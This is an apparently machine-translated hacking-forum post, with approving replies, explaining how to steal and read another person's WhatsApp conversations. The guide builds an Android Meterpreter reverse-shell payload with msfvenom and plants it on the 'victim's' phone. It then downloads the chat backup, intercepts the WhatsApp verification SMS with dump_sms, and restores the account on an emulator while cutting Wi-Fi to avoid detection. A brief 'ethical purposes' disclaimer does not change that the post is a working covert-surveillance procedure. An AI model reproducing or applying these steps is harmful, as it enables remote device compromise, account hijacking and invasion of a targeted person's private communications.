[GUIDE] Decrypt WhatsApp backups without needing the private key.
🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
Eryos ·
Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Is WhatsApp as secure as they say?<br />In this topic I'm going to explain how it is possible for someone who has access to a device to decrypt WhatsApp backups without needing the private key. First of all, I'm going to briefly explain some facts to keep in mind:<br /><br />Every day, WhatsApp automatically saves your chat history to your phone's memory or to a memory card, depending on your settings; these are used to recover conversations at a given moment. These create a file with the format msgstore-YYYY-MM-DD.1.db.crypt12 which is encrypted with a key; this key is generated every time we install WhatsApp, so we can only use that key to decrypt the backups created with it.<br /><br />Victim's chat with a person.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Let's begin:<br /><br />First of all, this is done for ethical purposes, I am not responsible for the misuse of this guide.<br /><br />First we are going to create a payload with msfvenom to create a backdoor on the victim's device.<br />Código: text
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=Port R > name.apk
<br /><br />Now we are going to use metasploit framework, we run:<br />Código: text
msfconsole
<br /><br />Now we configure metasploit with our data to be able to listen for the payload's request in order to connect to the victim.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />We install the payload on the android device and once opened the session will appear, to which we will connect.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Código: text
session -i 1
<br /><br /><br />Once inside the victim's device, we are going to go to the WhatsApp directory; by default I have it located on the sdcard.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />We download the latest copy, remember you can use any one as long as it is renamed once downloaded to "msgstore.db.crypt12".<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Código: text
download msgstore.db.crypt12
<br /><br /><br />Very well, we already have the database and access to the victim's device, we only have left to decrypt that database; if the victim's device has root permissions, we can skip all this step up to where I explain how to obtain the private key.<br /><br />We use a second device on which we will install WhatsApp; in my case I will use an android emulator which has root permissions in order to later import the backup :)<br />Now, we move the database to your device to the Databases folder, which is inside the WhatsApp folder. (If it doesn't appear, it gets created)<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Very well, now we open WhatsApp, we enter the victim's number, this will cause a message to arrive to the victim. (Problem: The victim can notice the received message, but, what happens if the victim is not paying attention to the device at that moment?)<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />We go back to metasploit, we download the sms and open it with a text editor, I will use nano.<br />Código: text
dump_sms
<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />We already have the verification code. Now we only have left to restore. :)<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Once finished restoring, we wait for the WhatsApp chats to appear and importantly disconnect the Wifi to prevent the victim from resetting WhatsApp and cutting our connection with the server, since an account cannot be used on more than one device.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Well, we already have the conversations but now we want to import them to save them.<br />We are going to make a backup with WhatsApp to re-encrypt those conversations with the key that was generated upon installing WhatsApp.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Now, we locate the key (this is found in "/data/data/com.whatsapp/files") and the new backup created.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Very well, everything is ready, we only have left to open the database with WhatsApp Viewer Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />This will generate a database which we will open again with WhatsApp Viewer<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />and that's it!! We would now have the victim's WhatsApp conversations.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Regards, Eryos.<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
cerocool ·
What a great contribution, very interesting everything that can be done with just one backup of the program, now I understand why forensic analysts know everything one does with phones.
GreyCod3 ·
Good one bro, a simple way to not rack your brain when it comes to getting the KEY without root.
Flame ·
A very creative way to decrypt that db, congratulations!.<br />Regards...
Sesenabo ·
1+ for the forensic analysts, thank you very much bro for the information.
Akrapal ·
a question, what would happen if you set up an email to receive a copy of the messages beforehand? did you try it?
<br /><br />Do you know how to read the author? The author is @Eyros and is the one who wrote it here...<br /><br />Therefore it was the other way around ;)<br /><br />Regards.
<br /><br />salteadorNeo, let me tell you, I am the author of this post and this was the first place of publication, this was modified to post it on the web you mentioned, this was carried out with my permission.<br />Regards, Eryos.
<br /><br />Which messages are you referring to? WhatsApp verification sms, or the messages of the conversations.<br />
<br /><br />ah sorry, I thought WhatsApp had an option to send a backup of the messages and read them from an email for example but that wasn't the case
